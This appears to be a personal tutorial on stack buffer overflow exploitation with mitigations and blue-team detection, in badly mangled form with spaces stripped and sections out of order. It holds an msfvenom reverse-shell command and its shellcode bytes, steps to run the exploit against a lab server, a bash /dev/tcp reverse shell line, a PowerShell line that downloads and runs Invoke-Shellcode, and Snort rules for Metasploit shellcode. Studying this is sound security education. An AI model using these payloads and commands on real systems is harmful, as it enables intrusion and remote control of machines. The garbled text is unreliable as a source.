xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

